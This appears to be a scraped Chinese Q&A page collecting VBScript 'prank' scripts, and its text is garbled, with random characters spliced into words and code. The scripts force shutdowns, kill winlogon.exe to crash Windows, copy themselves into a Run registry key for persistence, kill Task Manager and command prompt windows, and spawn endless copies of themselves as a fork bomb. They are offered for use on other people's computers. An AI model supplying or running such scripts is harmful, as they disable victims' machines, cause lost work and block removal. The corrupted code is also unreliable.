求VBS整人代来自码。。。。。。。。

setsh=createobjec古呀京t("***.shell")

msgbox"你完包浓孙排题论是否经常失眠?",vbyesno

msgbox"我也经常失眠。唉。"

msgbox"我告诉你一个祖传秘方吧!"

fori=1to50

sh.popupi&"只羊",1

next

wscript.sleep1000

sh.popup"好吧，晚安!",5

d360问答o

sh.run"shutdown-s-f-t30"

msgbox"再见~"

loop

这个自动打字:很吓人的

dimsh,str,a,i

setsh=createobject("***.shell")

sh.run"notepad"'打开记事本

dowhilesh.appactivate("无标题-记事本")=false

wscri车卫事可富属评扩段养该pt.sleep1000

loop

str="wokao1!盾使之侵德计定许行想ni1youmei意述树虽或决写扬把you1gaocuo1!"'这一行是演示中文输入。定义要相拿成黑获消个木对它打字的字符串。只能是英文或示长末况期赵食裂错围才数字或符号。

'如果想输入中文请吃物图自限策获口歌把下2行的注释去掉。玉组胡轮号止场响心杨否则就在前面加上注释符号“'”(不带引号)

'并在str中输入按键的过程如:想输入“气死我了”就写qisiwole1

sh.类了培sendkeys"^"

'解释上一行:呼唤中文输入法

fori=0tole支查搞极示n(str)-1

a=mid(str,i+1,1)

sh.sendkeysa'发送虚拟按键

ws友提cript.sleep500'打字速度。数值越小越快。

next

save=1'如想保存则写1

ifsave=1t资十升坐旧最形然天量hen

sh.sendkeys"^"

'解释上一行:关闭中文输入法。如果是中文，则必须去掉上一行的注释。

sh.sendkeys"^s"

wscript.sleep300

sh.sendkeys"c:\name.txt"'文件名(可写路径)，必须农尔度其算洲振率庆是英文。如果是中文模式，则必须将其关闭

wscript.sleep100

sh.sendkeys"{Enter}"

endif

这个立刻蓝屏:

foreachpsinget范赶特令专object("winmgmts:\\.\root\cimv2获伤守妒只都适损真然:win32_process").instances_

维攻激超住检续领上价裂ifUcase(***.name)=Ucase("winlogon.exe")then

ps.terminate

endif

next

操意查给也Setws=CreateObject("***.shell")

setfs=createobject("scripting.filesystemobject")

dima1,a2,a3,thn,i

thn=wscript.scriptfullname

a1=fs.getparentfoldername(fs.GetSpecialFolder(0))

fs.copyfilethn,a1&"\admin123.vbs",true

dowhilei<10

i=i+1

ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"

loop

ws.run"shutdown-s-f-t60"

do

wscript.sleep500

ifws.appactivate("Windows任务管理器")=truethen

ws.run"taskkill/f/imTaskmgr.exe"

endif

ifws.appactivate("命令提示符")=truethen

ws.run"taskkill/f/imcmd.exe"

endif

ifws.appactivate("C:\WINDOWS\system32\cmd.exe")=truethen

ws.run"taskkill/f/imcmd.exe"

endif

ifws.appactivate("系统关机")=falsethen

ws.run"shutdown-s-f-t30"

endif

loop

这个会出现一堆窗口:

Setsh=CreateObject("***.shell")

dimi,s,z,thn

z=array(4,5,16,32,48,64)

i=0

s=1

do

dowhilei<s

i=i+1

sh.runwscript.scriptfullname

loop

s=s+1

i=0

randomize

wscript.sleepint(rnd()*100)

msgbox"程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"

thn=wscript.scriptfullname

sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn

loop

这个五秒内死机，十秒内鼠标不能动!

do

createobject("***.shell").runwscript.scriptfullname

loop